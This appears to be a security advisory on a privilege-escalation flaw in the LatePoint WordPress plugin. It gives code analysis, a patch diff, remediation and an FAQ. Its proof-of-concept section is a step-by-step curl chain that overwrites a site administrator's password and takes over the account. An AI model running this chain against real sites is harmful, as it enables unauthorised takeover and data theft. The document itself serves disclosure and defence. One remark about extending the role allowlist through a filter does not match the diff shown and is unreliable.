LatePoint – Calendar Booking Plugin for Appointments and Events WordPress plugin banner

CVE-2026-6741: Critical Privilege Escalation in LatePoint Plugin (CVSS 8.8)

CVE-2026-6741 is a CVSS 8.8 (High) Authenticated (Agent+) Privilege Escalation vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events WordPress plugin. It affects all versions up to and including 5.4.1. An attacker with the latepoint_agent role can link any LatePoint customer record to a WordPress administrator’s account and then use LatePoint’s own password-reset flow to overwrite the administrator’s password — resulting in full site takeover.

Vulnerability Summary

FieldValue
Plugin NameLatePoint – Calendar Booking Plugin for Appointments and Events
Plugin Sluglatepoint
CVE IDCVE-2026-6741
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthenticated (Agent+) Privilege Escalation to Administrator
Affected Versions<= 5.4.1
Patched Version5.4.2
PublishedApril 27, 2026
Researchersskyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa
Wordfence AdvisoryLink

Description

An authenticated attacker with the latepoint_agent role can take full control of a WordPress site by linking a LatePoint customer record to an administrator’s WordPress account and then resetting that administrator’s password. The vulnerability exists in the connect-customer-to-wp-user ability added in LatePoint 5.3.0. The ability’s execute() method only checks whether the caller has the customer__edit capability. It does not verify whether the target WordPress user has a privileged role. Because the agent role holds customer__edit by default, any agent can link any LatePoint customer to any WordPress user — including the site administrator.

Once the link is in place, the attacker triggers LatePoint’s standard password-reset flow for that customer. The reset flow calls wp_set_password() using the linked WordPress user ID. This overwrites the administrator’s password with one the attacker controls, giving them full site access.


Technical Analysis

Architecture: The WordPress Abilities API

LatePoint 5.3.0 introduced support for the WordPress Abilities API (WordPress 6.9+). This API lets plugins register named “abilities” — callable tools that are exposed over the REST API for use by AI agents and automation. LatePoint registers its abilities in lib/abilities/class-latepoint-abilities.php:

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

Each ability class extends LatePointAbstractAbility, which provides check_permission(). That method calls OsRolesHelper::can_user($this->permission) — a single capability check against the currently logged-in backend user.

Vulnerable Code Path

The vulnerable ability is LatePointAbilityConnectCustomerToWpUser, located at lib/abilities/customers/connect-customer-to-wp-user.php.

Step 1 — Capability declaration (line 12):

protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← only capability required
    ...
}

The agent role holds customer__edit by default. See lib/helpers/roles_helper.php, get_default_capabilities_list_for_agent_role() (line 401):

public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agents can edit customers
        ...
    ];
    ...
}

Step 2 — The execute() method (lines 39–60):

public function execute( array $args ) {
    $customer = new OsCustomerModel( (int) $args['customer_id'] );
    if ( $customer->is_new_record() ) {
        return new WP_Error( 'not_found', ... );
    }

    $wp_user_id = (int) $args['wp_user_id'];
    if ( ! get_userdata( $wp_user_id ) ) {
        // Only checks: does the user exist?
        // MISSING: does the user have a non-privileged role?
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← links customer to any WP user
    $customer->save();

    return $this->serialize_customer( ... );
}

The method verifies the WordPress user exists with get_userdata(). It does not inspect the user’s roles. An agent can pass the administrator’s user ID and the call succeeds.

Step 3 — Password reset chain (lib/models/customer_model.php, line 315):

public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers() && $this->wordpress_user_id ) {
        ...
        wp_set_password( $password, $this->wordpress_user_id );  // ← overwrites WP user password
        ...
    }
    ...
}

When a customer password reset is completed in lib/controllers/customer_cabinet_controller.php, the controller calls $customer->update_password($new_password). If $customer->wordpress_user_id points to an administrator (set in Step 2), wp_set_password() overwrites the administrator’s password.

Root Cause

The execute() method does not check the roles of the target WordPress user. It only verifies that the user exists. This allows an agent to link a customer record to any WordPress account, including administrators.

Why Existing Controls Failed

The check_permission() method (in LatePointAbstractAbility, line 47) runs one check:

public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
}

This confirms the caller has customer__edit. It says nothing about the target user. The ability’s execute() is responsible for validating its own inputs, but it skips the role check entirely.

Attack Impact

An attacker with any latepoint_agent account can escalate to WordPress administrator and take full control of the site. This includes the ability to install plugins, modify themes, create new admin users, steal stored data, and deploy arbitrary code.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Authenticate and get a REST API nonce

Log in as the agent user. Retrieve a valid nonce for REST API calls:

# Replace with your WordPress base URL, agent username and password
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Log in to get a cookie-based session
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# Get nonce for REST API
NONCE=$(curl -s -b cookies.txt "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce" 2>/dev/null)
echo "Nonce: $NONCE"

Step 2: Create or identify a LatePoint customer record

If you don’t already have a customer you control, create one via the LatePoint booking form with an email address you own. Note the customer’s ID from LatePoint’s admin panel.

CUSTOMER_ID=5   # Replace with the LatePoint customer ID you control

Step 3: Link the customer record to the administrator’s WordPress user

Call the connect-customer-to-wp-user ability via the WordPress Abilities REST endpoint. The admin’s user ID is typically 1.

ADMIN_WP_USER_ID=1   # Replace with the target admin's WordPress user ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

A successful response returns the customer record with "wp_user_id": 1. The LatePoint customer is now linked to the WordPress administrator.

Step 4: Trigger a password reset for the customer

Visit the LatePoint password reset page (or POST directly) using the email address associated with the customer record you control:

CUSTOMER_EMAIL="attacker@example.com"   # Email of the LatePoint customer

curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint sends a password-reset email to $CUSTOMER_EMAIL containing an account_nonse token.

Step 5: Complete the password reset with a new password

Extract the token value from the reset email, then call the change_password endpoint:

RESET_TOKEN="<token_from_email>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

update_password() runs wp_set_password($NEW_PASSWORD, 1) — changing the administrator’s WordPress password.

Step 6: Log in as administrator

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Expected Result

The attacker is now authenticated as the WordPress administrator with full site control.

Verification

Confirm the escalation by accessing a privileged endpoint:

curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Expect: 200 OK with the WordPress admin UI (not a redirect to wp-login.php)

Or verify via the REST API:

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $(curl -s -b admin_cookies.txt $WP_URL/wp-admin/admin-ajax.php?action=rest-nonce)"
# Expect: "roles": ["administrator"]

Patch Analysis

What Changed

The patch in version 5.4.2 makes two independent changes:

Fix Explanation

The patch fixes the root cause directly. It retrieves the target user’s roles and compares them against a safe allowlist (latepoint_customer, subscriber, customer). If the target user holds any role not in this list, the ability returns an error before saving anything. This prevents agents from linking customers to privileged accounts.

The second change — disabling the Abilities API by default — is a defense-in-depth measure. Even if a future ability has a similar flaw, the API must be deliberately enabled before it is exposed. This limits the attack surface significantly.

Note a residual risk: the allowlist is hardcoded in PHP. Any custom WordPress role added to the site that is not on this list will also block legitimate linking, even for non-privileged users. Site admins who use custom roles may need to hook into the latepoint_enable_abilities filter and extend the allowlist.

Code Diff (Key Changes)

--- a/lib/abilities/customers/connect-customer-to-wp-user.php
+++ b/lib/abilities/customers/connect-customer-to-wp-user.php
@@ -42,11 +42,23 @@ class LatePointAbilityConnectCustomerToWpUser extends LatePointAbstractCustomerA
        }

-       $wp_user_id = (int) $args['wp_user_id'];
-       if ( ! get_userdata( $wp_user_id ) ) {
+       $wp_user_id  = (int) $args['wp_user_id'];
+       $target_user = get_userdata( $wp_user_id );
+       if ( ! $target_user ) {
                return new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] );
        }

+       // Only allow linking to non-privileged WP accounts using an allowlist of roles.
+       $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ];
+       $user_roles    = (array) $target_user->roles;
+       if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) {
+               return new WP_Error(
+                       'privileged_user',
+                       __( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ),
+                       [ 'status' => 403 ]
+               );
+       }
+
        $customer->wordpress_user_id = $wp_user_id;
--- a/latepoint.php
+++ b/latepoint.php
@@ -905,7 +905,7 @@ if ( ! class_exists( 'LatePoint' ) ) :
        // ABILITIES (WordPress 6.9+ Abilities API)
-       if ( function_exists( 'wp_register_ability' ) ) {
+       if ( apply_filters( 'latepoint_enable_abilities', false ) && function_exists( 'wp_register_ability' ) ) {
                include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
        }

Timeline

DateEvent
April 27, 2026Vulnerability publicly disclosed
April 27, 2026Patched version 5.4.2 released

Remediation

Update the latepoint plugin to version 5.4.2 or later immediately. If you cannot update right away, consider removing any latepoint_agent role users who should not have customer-edit access, and verify that no unexpected wordpress_user_id values have been set on LatePoint customer records by running:

SELECT id, first_name, last_name, email, wordpress_user_id
FROM wp_latepoint_customers
WHERE wordpress_user_id IS NOT NULL AND wordpress_user_id != 0;

Cross-reference the returned wordpress_user_id values against WordPress administrators. Any customer record linked to an admin account may indicate a prior exploitation attempt.


References

  1. Vulnerable file — connect-customer-to-wp-user.php (5.4.1)
  2. customer_model.php (5.4.1)
  3. roles_helper.php (5.4.1)
  4. WordPress.org plugin page
  5. Changeset 3514330 — patch commit

Frequently Asked Questions

What is CVE-2026-6741?

CVE-2026-6741 is a CVSS 8.8 (High) privilege escalation vulnerability in the LatePoint WordPress plugin that allows an authenticated attacker with the agent role to take over the administrator account and gain full control of the site.

Which versions of LatePoint – Calendar Booking Plugin for Appointments and Events are affected by CVE-2026-6741?

All versions of LatePoint up to and including 5.4.1 are vulnerable. The issue is fixed in version 5.4.2.

What can an attacker do with CVE-2026-6741?

An attacker can reset the WordPress administrator's password and take full control of the site. This lets them install plugins, modify themes, create new admin accounts, steal stored data, and run arbitrary code.

Does an attacker need to be logged in to exploit CVE-2026-6741?

Yes, the attacker must be logged in with a LatePoint agent role account. Unauthenticated users cannot exploit this vulnerability.

How do I fix CVE-2026-6741 in LatePoint – Calendar Booking Plugin for Appointments and Events?

Update the LatePoint plugin to version 5.4.2 or later from the WordPress admin dashboard or from wordpress.org. If you cannot update immediately, remove any agent role users who should not have customer-edit access.

Has LatePoint – Calendar Booking Plugin for Appointments and Events been patched for CVE-2026-6741?

Yes, version 5.4.2 was released on April 27, 2026 and fully fixes the vulnerability by blocking agents from linking customer records to privileged WordPress accounts.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee